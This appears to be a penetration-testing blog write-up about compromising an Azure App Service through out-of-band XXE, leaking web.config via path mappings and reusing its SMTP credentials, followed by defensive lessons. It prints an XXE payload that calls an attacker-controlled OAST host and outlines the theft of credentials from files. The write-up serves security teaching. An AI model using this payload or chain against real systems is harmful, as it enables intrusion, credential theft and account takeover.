Compromising an Azure Tenant via XXE OOB and web.config Exfiltration
May 26, 2025
Introduction
During a recent pentest engagement for a transactional company fully hosted in Microsoft Azure, we were assigned to conduct both an external black-box assessment and an authenticated gray-box evaluation within a two-week window. The scope included all publicly exposed services as well as internal resources accessible to authenticated users with least-privilege roles.
The initial phase of the assessment followed our standard methodology, encompassing reconnaissance, service enumeration, fingerprinting, and testing for common misconfigurations. Early in the process, we uncovered several high and critical vulnerabilities such as overly permissive CORS policies on certain subdomains, SQL injection points, and multiple instances of exposed personally identifiable information (PII). While these findings were serious, what followed DRAMATICLLY escalated the severity of the engagement.
Finding the Weak Link
While manually inspecting publicly accessible resources, our team leader stumbled upon an exposed WordPress directory (/wp-content/) on one of the subdomains. Among the files available, we discovered detailed API documentation for a legacy transactional endpoint used for payment processing. This API accepted XML-formatted requests—a known red flag if improperly sanitized.
The documentation outlined each field and processing step the server performed on incoming XML data. This was instrumental in constructing valid requests and ultimately crafting a successful XML External Entity (XXE) payload.
After several rounds of trial and error, we validated that the server was parsing XML without disabling external entity resolution. More importantly, the payload could trigger an out-of-band (OOB) interaction with an attacker-controlled domain, confirming an XXE OOB vulnerability.
XXE OOB Explained
An XML External Entity (XXE) injection occurs when XML input containing a reference to an external entity is processed by a weakly configured parser. If entity expansion is enabled, it becomes possible to exfiltrate sensitive data from the file system, interact with internal services, or even perform SSRF (server-side request forgery).
Out-of-Band XXE, also known as OOB-XXE, is a special subtype where the server does not return data directly in the HTTP response. Instead, the attacker defines an external DTD that causes the server to send data to an external listener under the attacker’s control.
The following payload was used to confirm the vulnerability:
XXE PAYLOAD
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://attacker.oastify.com">]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
DTD USED:
Once this was triggered, we received a callback on our OAST collaborator client, confirming the vulnerability.
Escalation Through Azure Path Mappings
At this point, we had confirmed an OOB XXE vulnerability on an Azure-hosted App Service. However, even though initial attempts to exfiltrate files like C:\inetpub\wwwroot\web.config or .env yielded limited results due to restricted access, nonstandard file placement and non juicy content found on the principal directory.
As part of our gray-box privileges, we had reader-level access to the target Azure subscription. We pivoted to Azure’s App Service blade in the Azure Portal and examined the configuration of the vulnerable app. Under “Configuration” > “Path Mappings”, we noticed the presence of custom mount points. These mappings redirected the file structure of the app to specific Azure File shares or Blob containers.
This blog has way more information about it:
https://medium.com/@barbieri.santiago/configuring-path-mappings-in-azure-app-service-7bea90f58f26
This was the pivot point.
Knowing the mount paths, we began aggressively fuzzing through the directories, experimenting with variations of high-value filenames such as web.config, appsettings.json, and secrets.env. Each attempt heightened the anticipation—until finally, one of the crafted payloads hit the jackpot. Through the XXE vector, the server responded, revealing a complete web.config file. This was the turning point. The presence of sensitive configuration data, credentials, and internal paths confirmed we had successfully breached a critical layer of the application.
JUICY CONTENT
The Treasure Trove
The contents of the web.config were significant. Among the sensitive items identified:
-
Production database connection strings (with plaintext credentials)
-
SMTP server login credentials for sender@company.com
Upon testing the SMTP credentials, we confirmed they provided access to a functioning corporate email account. After logging in, we found emails related to password resets, OTP (One-Time Password) deliveries, and sensitive operational correspondence. The sender account was tied to automated workflows involving password recovery and account verification.
This dramatically increased the impact of the compromise, as it could enable:
-
Unauthorized access to protected user accounts via OTP interception
-
Replay of password reset links and one-time secrets
-
Potential lateral movement via internal email phishing
-
Full access to production database environments
-
Responsible Disclosure and Engagement Termination
Upon testing the SMTP credentials, we confirmed they provided access to a functioning corporate email account. After logging in, we found emails related to password resets, OTP (One-Time Password) deliveries, and sensitive operational correspondence. The sender account was tied to automated workflows involving password recovery and account verification, making it a critical asset in the user authentication process.
Interestingly, although the web.config also contained database credentials, we weren’t able to establish a connection to the DB. After some digging, we realized the server was protected by IP whitelisting so unless we were connecting from an allowed IP, the DB wasn’t even going to talk to us.
We considered techniques to evade those defenses like rotating outbound IPs through cloud services or tunneling through a compromised app—but time wasn’t on our side. With the clock ticking down, we had to prioritize and move forward, documenting the impact and leaving that potential vector for a future engagement.
Lessons Learned
-Never expose internal API documentation—especially not with detailed request formats.
-Disable XmlResolver and external entity parsing by default in all XML parsers.
-Use Azure Key Vault for secret storage, not web.config or .env files.
-Audit and limit path mappings, as they often expose sensitive file systems.
-Secure email accounts used in automated processes, especially those involved in password recovery workflows.
Conclusion
This engagement highlights how a relatively obscure vulnerability like XXE can lead to full environment compromise when combined with misconfigurations, poor secret hygiene, and underused RBAC controls. In cloud-native environments, developers and security teams must align on secure-by-default principles and continuously monitor for indicators of exposure.
This case was a strong reminder that Azure App Services, like any other hosting environment, are only as secure as their weakest link. And sometimes, that link is just one web.config file away.